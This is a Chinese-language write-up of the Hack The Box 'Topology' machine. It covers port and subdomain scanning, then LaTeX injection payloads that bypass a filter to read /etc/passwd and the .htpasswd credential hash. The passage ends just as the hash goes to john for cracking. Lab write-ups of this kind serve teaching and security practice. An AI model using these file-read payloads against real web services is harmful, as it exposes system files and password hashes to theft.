Topology

信息收集

首先进行端口扫描：

┌──(rabbit㉿kali)-[~]
└─$ rustscan -a 10.10.11.217 -b 10000 -r 1-65535 -- -sCV
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.11.217:53
Open 10.10.11.217:22
Open 10.10.11.217:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sCV" on ip 10.10.11.217
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.80 ( https://nmap.org ) at 2023-06-14 00:44 UTC
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:44
Completed NSE at 00:44, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:44
Completed NSE at 00:44, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:44
Completed NSE at 00:44, 0.00s elapsed
Initiating Ping Scan at 00:44
Scanning 10.10.11.217 [2 ports]
Completed Ping Scan at 00:44, 0.11s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 00:44
Completed Parallel DNS resolution of 1 host. at 00:44, 0.41s elapsed
DNS resolution of 1 IPs took 0.41s. Mode: Async [#: 1, OK: 0, NX: 0, DR: 1, SF: 3, TR: 3, CN: 0]
Initiating Connect Scan at 00:44
Scanning 10.10.11.217 [3 ports]
Discovered open port 53/tcp on 10.10.11.217
Discovered open port 22/tcp on 10.10.11.217
Discovered open port 80/tcp on 10.10.11.217
Completed Connect Scan at 00:44, 0.11s elapsed (3 total ports)
Initiating Service scan at 00:44
Scanning 3 services on 10.10.11.217
Completed Service scan at 00:46, 141.61s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.11.217.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:46
Completed NSE at 00:46, 14.24s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:46
Completed NSE at 00:46, 1.11s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:46
Completed NSE at 00:46, 0.00s elapsed
Nmap scan report for 10.10.11.217
Host is up, received syn-ack (0.099s latency).
Scanned at 2023-06-14 00:44:14 UTC for 157s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
53/tcp open  domain? syn-ack
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
80/tcp open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Miskatonic University | Topology Group
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=6/14%Time=64890D69%P=x86_64-alpine-linux-musl%r
SF:(DNSVersionBindReqTCP,20,"\0\x1e\0\x06\x81\x85\0\x01\0\0\0\0\0\0\x07ver
SF:sion\x04bind\0\0\x10\0\x03")%r(DNSStatusRequestTCP,E,"\0\x0c\0\0\x90\x8
SF:2\0\0\0\0\0\0\0\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:46
Completed NSE at 00:46, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:46
Completed NSE at 00:46, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:46
Completed NSE at 00:46, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 157.86 seconds

查看 HTTP 页面：

看起来是一个大学小组的网站，里面有邮箱信息 lklein@topology.htb，包含域名 topology.htb，还有一个链接，跳转到一个名为 LaTeX 的工具的使用网页。

把域名 topology.htb 和 latex.topology.htb 加入到/etc/hosts 文件中：

刷新网页：

据网页描述，大概是利用一个特定语法的表达式，生成一些具有特定格式的数学公式图片以供下载。

子域名扫描，发现所有子域名都会返回 status code 200：

于是过滤掉 status code 200：

┌──(rabbit㉿kali)-[~/HTB/Topology]
└─$ ffuf -u http://topology.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.topology.htb" -fc 200

        /'___\  /'___\           /'___\     
       /\ \__/ /\ \__/  __  __  /\ \__/     
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\    
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/    
         \ \_\   \ \_\  \ \____/  \ \_\     
          \/_/    \/_/   \/___/    \/_/     

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://topology.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.topology.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 200
________________________________________________

[Status: 401, Size: 463, Words: 42, Lines: 15, Duration: 4193ms]
    * FUZZ: dev

:: Progress: [4989/4989] :: Job [1/1] :: 13 req/sec :: Duration: [0:02:49] :: Errors: 0 ::

发现存在子域名 dev，但需要验证，添加 dev.topology.htb 到/etc/hosts 中，访问该网站：

扫描子目录，没有敏感的结果。

User Shell

搜索 latex 有无漏洞可利用。

有用的链接：0day.work/hacking-wit…

从中发现可能有文件读取漏洞，经过尝试，发现存在 waf：

只有一个读取一行的命令可以绕过这个 waf：

\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\closein\file

现在有两个问题：

怎么读取多行？
读取什么文件？

关于第一个问题，在经过一系列搜索之后，在 book.hacktricks.xyz/pentesting-… 中，发现读取文件可以有以下命令：

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

只有“\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}”这个命令不会触发 waf，但是用这条命令读取/etc/passwd 的时候，返回的不是读取结果的图片，而是空白页面。

又经过一系列搜索，发现在 latex 命令的两端加上 $，可以用数学模式运行这个 latex 命令。www.kancloud.cn/thinkphp/la…，tex.stackexchange.com/questions/5…。

在 \lstinputlisting{/etc/passwd} 两端加上$后，构成命令 $\lstinputlisting{/etc/passwd}$\，执行后：

其中有个用户名：vdaisley

接下来就是第 2 个问题，用来读取什么文件

这个需要一点点经验，或者经过比较深入的搜索也能发现。一般来说，在 apache 服务器中，如果用 http 协议而不是 https 协议访问某个网站目录时，出现了 401 错误，表示需要验证，那么这个验证的密码通常会以 hash 形式存储于.htpasswd 文件中。在这个靶场中，.htpasswd 文件就位于/var/www/dev/.htpasswd。经过读取，得到 vdaisley 的密码哈希。

用 john 破解：